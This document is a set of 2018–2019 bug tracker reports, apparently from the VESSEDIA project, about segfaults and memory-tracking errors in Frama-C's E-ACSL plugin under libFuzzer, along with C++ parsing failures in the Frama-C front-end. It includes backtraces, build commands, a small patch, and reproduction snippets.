Would it be possible to make E-ACSL avoid to take into account variables when their type 

is incomplete at the analysis? 
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For instance, 

extern const char tab[]; 

 

E-ACSL will generate _e_acsl_store_block (and full init) for a sizeof([]), 

which yields an error at compilation. 

 

I - temporarily - modified misc.ml in such way store_block and init will not be generated 

into the instrumented code, when the type is incomplete. 

 

It works, but of course the corresponding variables (of incomplete type) will not be 

taken into account.  

Moreover, I don't know if it could introduce a bug like this one https://bts.frama-

c.com/view.php?id=2405 [^] 

... 

 

 

2018-11-29 

 

0002411: (VESSEDIA) segfault due to GCC's destructor (e-acsl v18 beta) 

 

Description ***(in the following of BTS 2405)*** 

 

A new segfault appears, after call to __e_acsl_memory_clean() at the end of the E-ACSL 

instrumented main(). 

 

 GDB yields: 

 Program received signal SIGSEGV, Segmentation fault. 

 __e_acsl_freeable (ptr=0x7fffe79e17a0) at /usr/local/bin/../share/frama-c/e-

acsl//segment_model/e_acsl_segment_tracking.h:1172 

 1172 if (*shadow) { 

 (gdb) bt 

 #0 __e_acsl_freeable (ptr=0x7fffe79e17a0) at /usr/local/bin/../share/frama-c/e-

acsl//segment_model/e_acsl_segment_tracking.h:1172 

 #1 free (ptr=0x7fffe79e17a0) at /usr/local/bin/../share/frama-c/e-

acsl//segment_model/e_acsl_segment_tracking.h:999 

 #2 0x00007ffff60bb7f5 in ?? () from /usr/lib/x86_64-linux-gnu/libcrypto.so.1.1 

 #3 0x00007ffff60bb9fd in OPENSSL_cleanup () from /usr/lib/x86_64-linux-

gnu/libcrypto.so.1.1 

 #4 0x00007ffff6e21041 in __run_exit_handlers (status=4, listp=0x7ffff71c9718 

<__exit_funcs>, run_list_atexit=run_list_atexit@entry=true, 

run_dtors=run_dtors@entry=true) at exit.c:108 

 #5 0x00007ffff6e2113a in __GI_exit (status=<optimized out>) at exit.c:139 

 #6 0x00007ffff6dffb9e in __libc_start_main (main=0x555555556de0 <main>, argc=3, 

argv=0x7fffffffde98, init=<optimized out>, fini=<optimized out>, rtld_fini=<optimized 

out>,  

     stack_end=0x7fffffffde88) at ../csu/libc-start.c:344 

 #7 0x0000555555556eca in _start () 

 

 So, the segfault appears after dereferencing shadow in __e_acsl_freeable () 

 

... 

 

 

2018-12-10 

 

0002415: (VESSEDIA) UBsan reports on shadow_alloca (v18 vBeta) 

 

Description Preamble: I'm facing lots of trouble with e-acsl compiled code, then I used 

UBsan hoping getting some more information. 

 

On a C source code which is confidential, and processed by e-acsl, the code obtained 

raises an SIGSEGV signal. 

 

It seems shadow_alloca is responsible for that segfault. 
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In the meantime, this is the GDB report (please let me know if you need more 

investigation on my side): 

 

 

Thread 1 "g.eacsl.e" hit Breakpoint 1, __e_acsl_memory_init (argc_ref=<optimized out>, 

argv_ref=<optimized out>,  

    ptr_size=<optimized out>) at /usr/local/bin/../share/frama-c/e-

acsl/segment_model/e_acsl_segment_mmodel.c:227 

227 shadow_alloca(&main, sizeof(&main)); 

(gdb) s 

shadow_alloca (size=8, ptr=<optimized out>) at /usr/local/bin/../share/frama-c/e-

acsl/segment_model/e_acsl_segment_tracking.h:528 

528 unsigned char *prim_shadow = (unsigned char*)PRIMARY_SHADOW(ptr); 

(gdb) 

... 

 

After our discussion which took place on 2019-01-08 between DA/CEA, DA proposes the 

following extensions in E-ACSL in order to palliate some of the issues met so far with 

the plug-in: 

 

- define a white list of functions which will be analyzed by the plug-in (and only them); 

 

- disable the traceability of memory management for the functions not in the white list 

defined above (thus disable calls to shadow_alloca and other E-ACSL memory functions), in 

order to avoid that libraries for which the source code is neither available nor 

candidate to annotations/modifications, could be traced by the E-ACSL plug-in; 

 

- add a parameter when calling __e_acsl_assert (as external assert management function 

defined by the final user) so that it is possible to determine if the assert could be 

either valid or invalid, or undeterminated (“orange”): this means that some parameters 

used by the predicate may be updated by functions not in the white list, but however 

exploited by the code under analysis. This will permit into the __e_acsl_assert function 

to differentiate the behavior and preserve the soundness. 

 

CEA agreed on these proposals, and will make its possible to provide DA with these 

extensions (mid-february'19, to be confirmed). 

 

... 

 

 

2019-02-05 

 

0002425: keep_status: generate executable stmts for dead code when status is valid 

 

Description:  

For some reasons (i.e. an initial state not accurate enough), I have some annotations in 

parts of a C source code considered as dead code by EVA, and thus with a de facto Valid 

status (namely Valid_but_dead). 

As these annotations have a Valid status, they won't be processed by E-ACSL. 

But I don't either want to use -e-acsl-valid (and having them translated as executable 

statements), because I don't want to burden the code with Valid annotations which are NOT 

in dead code. 

 

Then, after some investigations in E-ACSL ocaml code, it seems that I can make E-ACSL 

process Valid_but_dead annotations by means of the following small patch in frama-c-18.0-

Argon/src/plugins/e-acsl/keep_status.ml: 

... 

let push kf kind ppt = 

(*  Options.feedback "PUSHING %a for %a" 

    pretty_kind kind 

    Kernel_function.pretty kf;*) 

  (* no registration when -e-acsl-check or -e-acsl-valid *) 

  if not (!option_check || !option_valid) then 

    let keep = 

      let open Property_status in 

      match get ppt with 

      | Never_tried 
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      | Inconsistent _ 

      | Best ((False_if_reachable | False_and_reachable | Dont_know), _) -> 

        true 

      | Best (True, _) -> 

 

(* DP ===> begin patch *) 

 (match Property_status.Consolidation.get ppt with 

 | Property_status.Consolidation.Valid_but_dead _  

 | Property_status.Consolidation.Invalid_but_dead _  

 | Property_status.Consolidation.Unknown_but_dead _ -> true 

 | _ -> false 

 ) 

(* DP <=== end patch *) 

... 

 

 

In one hand, it should not put too much workload during E-ACSL-ised code testing, as if 

the annotations were really in dead code, this code won't be neither reached nor 

executed. 

In the other hand, if the annotations were considered as Valid only because they are in 

falsely dead code, then I want the annotations to be translated as executable stmts. 

 

 

2019-03-01 

 

0002430: [VESSEDIA] still "not in STATIC" 

 

The +/- same issue as in BTS2415 appears, even after the patch of last Tuesday. 

I used -e-acsl-functions with only one small sub-function. 

 And I also used -e-acsl-instrument (combined with the previous one) but this is not 

useful as this option works as a blacklist: however I don't know the name of functions in 

the linked libs (for which I'm not supposed to have the source code). 

 I also made some tries with different (greater or lower values of E_ACSL_STACK_SIZE and 

E_ACSL_HEAP_SIZE) but with more or less the same issue (not in static or not nullified in 

some cases). 

 

 (I also put the DEBUG_PRINT_LAYOUT for any help - see below) 

 

 It seems some memory_init are done due to the _start_up in the linked libs and yield 

this issue? 

 

 

 This is the error msg: 

 

 /* ========================================================= */ 

  * E-ACSL instrumented run 

  * Memory tracking: shadow memory 

  * Heap 128 MB 

  * Stack 32 MB 

  * Temporal checks: disabled 

  * Execution mode: debug 

  * Assertions mode: pass through 

  * Validity notion: strong 

  * Format Checks: disabled 

 /* ========================================================= */ 

 INFO: Seed: 3122194595 

 INFO: Loaded 1 modules (1835 inline 8-bit counters): 1835 [0x6be480, 0x6bebab),  

 INFO: Loaded 1 PC tables (1835 PCs): 1835 [0x4a46a0,0x4ab950),  

 INFO: -max_len is not provided; libFuzzer will not generate inputs larger than 4096 

bytes 

 >>> HEAP --------------------- 

    Application: 128 MB [140084591621088, 140084725838816] 

    Primary : 128 MB [140084456813536, 140084591031264]{ Offset: 134807552 } 

    Secondary : 16 MB [140084439446496, 140084456223712]{ Offset: 152174592 } 

 >>> STACK -------------------- 

    Application: 32 MB [140730464423971, 140730497978403] 

    Primary : 32 MB [140084261774304, 140084295328736]{ Offset: 646202649667 } 
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    Secondary : 32 MB [140084227630048, 140084261184480]{ Offset: 646236793923 } 

 >>> GLOBAL ------------------- 

    Application: 31 MB [4194304, 37088120] 

    Primary : 31 MB [140084406023136, 140084438916952]{ Offset: -140084401828832 } 

    Secondary : 31 MB [140084372599776, 140084405493592]{ Offset: -140084368405472 } 

 >>> TLS ---------------------- 

    Application: 32 MB [140084854444984, 140084887999416] 

    Primary : 32 MB [140084338455520, 140084372009952]{ Offset: 515989464 } 

    Secondary : 32 MB [140084304311264, 140084337865696]{ Offset: 550133720 } 

 >>> -------------------------- 

 Address 0x14008-48345-59840 not on STATIC at /usr/local/bin/../share/frama-c/e-

acsl/segment_model/e_acsl_segment_tracking.h:517 

 /** Backtrace **************************/ 

 trace à e_acsl_trace.h:76 

  - exec_abort à e_acsl_assert.h:59 

  - vassert_fail à e_acsl_assert.h:91 

  - shadow_alloca à e_acsl_segment_tracking.h:517 

  - __e_acsl_memory_init à e_acsl_segment_mmodel.c:242 

  - LLVMFuzzerTestOneInput à gateway.eacsl.c:8415 

  - fuzzer::Fuzzer::ExecuteCallback(unsigned char const*, unsigned long) à :? 

  - 

fuzzer::Fuzzer::ReadAndExecuteSeedCorpora(std::vector<std::__cxx11::basic_string<char, 

std::char_traits<char>, std::allocator<char> >, 

fuzzer::fuzzer_allocator<std::__cxx11::basic_string<char, std::char_traits<char>, 

std::allocator<char> > > > const&) à :? 

  - fuzzer::Fuzzer::Loop(std::vector<std::__cxx11::basic_string<char, 

std::char_traits<char>, std::allocator<char> >, 

fuzzer::fuzzer_allocator<std::__cxx11::basic_string<char, std::char_traits<char>, 

std::allocator<char> > > > const&) à :? 

  - fuzzer::FuzzerDriver(int*, char***, int (*)(unsigned char const*, unsigned long)) à 

:? 

  - main à :? 

 /***************************************/ 

 ==16605== ERROR: libFuzzer: deadly signal 

     #0 0x469a03 

(/home/unity/Desktop/Vessedia/Gyesno_to_Pnoyes.20181218/COMPIL/gateway.eacsl.exe+0x469a03

) 

     #1 0x4208a6 

(/home/unity/Desktop/Vessedia/Gyesno_to_Pnoyes.20181218/COMPIL/gateway.eacsl.exe+0x4208a6

) 

     #2 0x4208ff 

(/home/unity/Desktop/Vessedia/Gyesno_to_Pnoyes.20181218/COMPIL/gateway.eacsl.exe+0x4208ff

) 

     #3 0x7f680b31188f (/lib/x86_64-linux-gnu/libpthread.so.0+0x1288f) 

     #4 0x7f680b311726 (/lib/x86_64-linux-gnu/libpthread.so.0+0x12726) 

     #5 0x48cb93 

(/home/unity/Desktop/Vessedia/Gyesno_to_Pnoyes.20181218/COMPIL/gateway.eacsl.exe+0x48cb93

) 

     #6 0x480063 

(/home/unity/Desktop/Vessedia/Gyesno_to_Pnoyes.20181218/COMPIL/gateway.eacsl.exe+0x480063

) 

     #7 0x48364f 

(/home/unity/Desktop/Vessedia/Gyesno_to_Pnoyes.20181218/COMPIL/gateway.eacsl.exe+0x48364f

) 

     #8 0x488876 

(/home/unity/Desktop/Vessedia/Gyesno_to_Pnoyes.20181218/COMPIL/gateway.eacsl.exe+0x488876

) 

     #9 0x47d263 

(/home/unity/Desktop/Vessedia/Gyesno_to_Pnoyes.20181218/COMPIL/gateway.eacsl.exe+0x47d263

) 

     #10 0x420fe7 

(/home/unity/Desktop/Vessedia/Gyesno_to_Pnoyes.20181218/COMPIL/gateway.eacsl.exe+0x420fe7

) 

     #11 0x42ac2b 

(/home/unity/Desktop/Vessedia/Gyesno_to_Pnoyes.20181218/COMPIL/gateway.eacsl.exe+0x42ac2b

) 

     #12 0x42cd92 

(/home/unity/Desktop/Vessedia/Gyesno_to_Pnoyes.20181218/COMPIL/gateway.eacsl.exe+0x42cd92

) 
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     #13 0x41c27c 

(/home/unity/Desktop/Vessedia/Gyesno_to_Pnoyes.20181218/COMPIL/gateway.eacsl.exe+0x41c27c

) 

     #14 0x40f162 

(/home/unity/Desktop/Vessedia/Gyesno_to_Pnoyes.20181218/COMPIL/gateway.eacsl.exe+0x40f162

) 

     #15 0x7f680a90bb96 (/lib/x86_64-linux-gnu/libc.so.6+0x21b96) 

     #16 0x40f1b9 

(/home/unity/Desktop/Vessedia/Gyesno_to_Pnoyes.20181218/COMPIL/gateway.eacsl.exe+0x40f1b9

) 

 

 NOTE: libFuzzer has rudimentary signal handlers. 

       Combine libFuzzer with AddressSanitizer or similar for better crash reports. 

 SUMMARY: libFuzzer: deadly signal 

To reproduce the issue: 

 

    typedef unsigned long size_t; 

         typedef unsigned char __uint8_t; 

         typedef __uint8_t uint8_t; 

        

         int LLVMFuzzerTestOneInput(uint8_t const *Data, size_t Size) { 

          __e_acsl_memory_init(00,00,8UL); 

        } 

         

 To compile with: 

 

 /usr/bin/clang-6.0 -DE_ACSL_SEGMENT_MMODEL -DE_ACSL_NO_ASSERT_FAIL -DE_ACSL_DEBUG -

DE_ACSL_STACK_SIZE=32 -DE_ACSL_HEAP_SIZE=128 -DE_ACSL_VERBOSE -DE_ACSL_DEBUG_VERBOSE -

std=c99 -m64 -g3 -O0 -fno-omit-frame-pointer -fno-builtin -fno-merge-constants -Wall -

Wno-long-long -Wno-attributes -Wno-nonnull -Wno-undef -Wno-unused -Wno-unused-function -

Wno-unused-result -Wno-unused-value -Wno-unused-function -Wno-unused-variable -Wno-

unused-but-set-variable -Wno-implicit-function-declaration -Wno-empty-body -

fsanitize=fuzzer -I/usr/include/libxmlYYY -DE_ACSL_EXTERNAL_ASSERT -

D__XMLSEC_FUNCTION__=__func__ -DXMLSEC_NO_SIZE_T -DXMLSEC_NO_GOST=1 -

DXMLSEC_NO_GOSTZZZZ=1 -DXMLSEC_NO_CRYPTO_DYNAMIC_LOADING=1 -I/usr/include/xmlsecXXX -

I/usr/include/libxmlYYY -DXMLSEC_CRYPTO_OPENSSL=1 -I/usr/include -DE_ACSL_VERBOSE -

DE_ACSL_DEBUG_VERBOSE -DPGM_TLS_SIZE=32*MB -I/usr/local/bin/../share/frama-c/e-acsl/ -o 

a14 a14.c /usr/local/bin/../share/frama-c/e-acsl//e_acsl_rtl.c -lxmlXXX -

L/usr/lib/x86_64-linux-gnu -lxmlsecXXX-openssl -lxmlsecXXX -lxslt -lxmlXXX -

lforcryptography -g3 -rdynamic /usr/local/bin/../lib/libeacsl-dlmalloc.a 

/usr/local/bin/../lib/libeacsl-gmp.a -lm 

 

 To test with: 

 ./a14 

 

 

2019-03-19 

 

0002431: [VESSEDIA] from "not in STATIC" to "Undefined Behavior" 

 

This code: 

 

#include <stdlib.h> 

#include <stdio.h> 

#include <string.h> 

 

int test(char* a) 

{ 

if(! strcmp(a,"VES")) abort(); 

else return 0; 

} 

 

typedef unsigned char uint8_t ; 

int LLVMFuzzerTestOneInput(const uint8_t *Data, size_t Size) { 

  int r = test((char *)Data); 

  return 1; 

} 
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Analyzed with: 

e-acsl-gcc.sh --rt-verbose --rt-debug -G clang-7 -k -c --rte=all -o compare.eacsl.c -O 

compare.exe --oexec-e-acsl=compare.eacsl.exe compare.c --frama-c-extra="-main 

LLVMFuzzerTestOneInput -wp -wp-timeout 

1 -remove-unused-specified-functions"  

--e-acsl-extra="-e-acsl-no-validate-format-strings 

-e-acsl-no-full-mmodel" --cpp-flags="-fsanitize=fuzzer -I/usr/include -DE_ACSL_VERBOSE -

DE_ACSL_DEBUG_VERBOSE -DPGM_TLS_SIZE=35*MB"  

--ld-flags="-L/usr/lib/x86_64-linux-gnu -rdynamic" 

 

Yields, when launching ./compare.eacsl.exe: 

 

 >>> HEAP --------------------- 

    Application: 128 MB [140118033818592, 140118168036320] 

    Primary : 128 MB [140117899011040, 140118033228768]{ Offset: 134807552 } 

    Secondary : 16 MB [140117881644000, 140117898421216]{ Offset:  

152174592 } 

 >>> STACK -------------------- 

    Application: 32 MB [140723175874595, 140723209429027] 

    Primary : 32 MB [140117632406496, 140117665960928]{ Offset:  

605543468099 } 

    Secondary : 32 MB [140117598262240, 140117631816672]{ Offset:  

605577612355 } 

 >>> GLOBAL ------------------- 

    Application: 33 MB [4194304, 39298008] 

    Primary : 33 MB [140117845992416, 140117881096120]{ Offset:  

-140117841798112 } 

    Secondary : 33 MB [140117810340832, 140117845444536]{ Offset:  

-140117806146528 } 

 >>> TLS ---------------------- 

    Application: 64 MB [140118235145185, 140118302254049] 

    Primary : 64 MB [140117742642144, 140117809751008]{ Offset: 492503041 } 

    Secondary : 64 MB [140117674943456, 140117742052320]{ Offset:  

560201729 } 

 >>> -------------------------- 

  *** WARNING: Leaked 21577749 bytes of heap memory in 19 blocks 

UndefinedBehaviorSanitizer:DEADLYSIGNAL 

==913==ERROR: UndefinedBehaviorSanitizer: SEGV on unknown address 

0x7f6fbde20cc0 (pc 0x00000046b955 bp 0x7ffcace8ab70 sp 0x7ffcace8ab10 T913) ==913==The 

signal is caused by a READ memory access. 

 

 

 

 

If one changes TLS from 35MB to 34MB: 

 

e-acsl-gcc.sh --rt-verbose --rt-debug -G clang-7 -k -c --rte=all -o  

compare.eacsl.c -O compare.exe --oexec-e-acsl=compare.eacsl.exe  

compare.c --frama-c-extra="-main LLVMFuzzerTestOneInput -wp -wp-timeout  

1 -remove-unused-specified-functions"  

--e-acsl-extra="-e-acsl-no-validate-format-strings  

-e-acsl-no-full-mmodel" --cpp-flags="-fsanitize=fuzzer -I/usr/include  

-DE_ACSL_VERBOSE -DE_ACSL_DEBUG_VERBOSE -DPGM_TLS_SIZE=34*MB"  

--ld-flags="-L/usr/lib/x86_64-linux-gnu -rdynamic" 

 

 

 

 

Then the error raised is: 

 

    Application: 32 MB [140462103721784, 140462137276216] 

    Primary : 32 MB [140461639013344, 140461672567776]{ Offset: 464708440 } 

    Secondary : 32 MB [140461604869088, 140461638423520]{ Offset:  

498852696 } 

 >>> -------------------------- 

Address 0x14046-21022-06304 not on STATIC at  

/usr/local/bin/../share/frama-c/e-acsl/segment_model/e_acsl_segment_tracking.h:517 
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** Backtrace ************************** 

trace à e_acsl_trace.h:76 

  - exec_abort à e_acsl_assert.h:62 

  - vassert_fail à e_acsl_assert.h:91 

  - shadow_alloca à e_acsl_segment_tracking.h:517 

  - __e_acsl_memory_init à e_acsl_segment_mmodel.c:242 

  - LLVMFuzzerTestOneInput à compare.eacsl.c:237 

  - fuzzer::Fuzzer::ExecuteCallback(unsigned char const*, unsigned long)  

à :? 

  -  

fuzzer::Fuzzer::ReadAndExecuteSeedCorpora(std::vector<std::__cxx11::basic_string<char,  

std::char_traits<char>, std::allocator<char> >,  

fuzzer::fuzzer_allocator<std::__cxx11::basic_string<char,  

std::char_traits<char>, std::allocator<char> > > > const&) à :? 

  - fuzzer::Fuzzer::Loop(std::vector<std::__cxx11::basic_string<char,  

std::char_traits<char>, std::allocator<char> >,  

fuzzer::fuzzer_allocator<std::__cxx11::basic_string<char,  

std::char_traits<char>, std::allocator<char> > > > const&) à :? 

  - fuzzer::FuzzerDriver(int*, char***, int (*)(unsigned char const*,  

unsigned long)) à :? 

  *************************************** 

 

 

 

Please, is there something we could do on our side to fix this (or is it  

the same issue as in previous issues)? 

 

 

2019-07-03 

 

0002460: [VESSEDIA] statement not allowed in constexpr function 

 

Description On the following code: 

 

#include<iostream>  

#include<forward_list>  

using namespace std;  

 

int main()  

{  

    forward_list<int> flist1;  

    forward_list<int> flist2;  

 

    flist1.assign({1, 2, 3});  

 

    flist2.assign(5, 10);  

 

    for (int&a : flist1)  

        cout << a << " ";  

    cout << endl;  

     

    for (int&b : flist2)  

        cout << b << " ";  

    cout << endl;  

 

    return 0;  

}  

 

the commande line: 

frama-c fwdlist.cpp -cxx-cstdlib-path /usr/lib/gcc/x86_64-linux-gnu/7 -cxx-c++stdlib-path 

/usr/lib/gcc/x86_64-linux-gnu/7 -cxx-nostdinc 

 

generates the following error message: 

 

[kernel] Parsing fwdlist.cpp (external front-end) 

Unknown kind of comment at /usr/lib/gcc/x86_64-linux-

gnu/7.3.0/../../../../include/c++/7.3.0/new:176:15 
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[kernel] User Error: Failed to parse C++ file. See Clang messages for more information 

[kernel] User Error: stopping on file "fwdlist.cpp" that has errors. 

[kernel] Frama-C aborted: invalid user input. 

 

This is due to a comment in the standard library the message points to, which starts with 

"//@".  

This issue might have to be fixed (?), but in the meantime we found the simple workaround 

consisting in pre-processing the code: 

 

clang++-7 -c -save-temps fwdlist.cpp 

 

But then, we have the following errors: 

 

[kernel] Parsing fwdlist.ii (external front-end) 

fwdlist.ii:6020:7: error: statement not allowed in constexpr function 

      while (__first != __last) 

      ^ 

fwdlist.ii:6066:5: error: constexpr function's return type 'void' is not a literal type 

    __advance(_InputIterator& __i, _Distance __n, input_iterator_tag) 

    ^ 

fwdlist.ii:6077:5: error: constexpr function's return type 'void' is not a literal type 

    __advance(_BidirectionalIterator& __i, _Distance __n, 

    ^ 

fwdlist.ii:6093:5: error: constexpr function's return type 'void' is not a literal type 

    __advance(_RandomAccessIterator& __i, _Distance __n, 

    ^ 

fwdlist.ii:8562:7: error: constexpr function's return type 'void' is not a literal type 

      assign(char_type& __c1, const char_type& __c2) 

      ^ 

fwdlist.ii:8617:7: error: statement not allowed in constexpr function 

      for (std::size_t __i = 0; __i < __n; ++__i) 

      ^ 

fwdlist.ii:8631:7: error: statement not allowed in constexpr function 

      while (!eq(__p[__i], char_type())) 

      ^ 

fwdlist.ii:8641:7: error: statement not allowed in constexpr function 

      for (std::size_t __i = 0; __i < __n; ++__i) 

      ^ 

code generation aborted due to compilation errors 

[kernel] User Error: Failed to parse C++ file. See Clang messages for more information 

[kernel] User Error: stopping on file "fwdlist.ii" that has errors. 

[kernel] Frama-C aborted: invalid user input. 

 

 

 

2019-07-04 

 

0002461: [VESSEDIA] Unsupported type (uninstantiated template specialization) 

 

Description On the following code (the same as BTS2460): 

 

#include<iostream>  

#include<forward_list>  

using namespace std;  

 

int main()  

{  

    forward_list<int> flist1;  

    forward_list<int> flist2;  

 

    flist1.assign({1, 2, 3});  

 

    flist2.assign(5, 10);  

 

    for (int&a : flist1)  

        cout << a << " ";  

    cout << endl;  
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    for (int&b : flist2)  

        cout << b << " ";  

    cout << endl;  

 

    return 0;  

}  

 

Pre-processed with (to avoid Doxygen comments looking like ACSL ones): 

clang++-7 -c -save-temps fwdlist.cpp -std=c++14 

 

And analyzed with: 

frama-c fwdlist.ii -cxx-cstdlib-path /usr/lib/gcc/x86_64-linux-gnu/7 -cxx-c++stdlib-path 

/usr/lib/gcc/x86_64-linux-gnu/7 -cxx-nostdinc -fclang-cpp-extra-args="-std=c++14" 

 

(or c++11, or c++17, or c++2a) 

 

The following error is raised: 

 

[kernel] Parsing fwdlist.ii (external front-end) 

<invalid loc>: Unsupported Type (uninstantiated template specialization):allocator<type-

parameter-0-0> 

Aborting 

[kernel] User Error: Failed to parse C++ file. See Clang messages for more information 

[kernel] User Error: stopping on file "fwdlist.ii" that has errors. 
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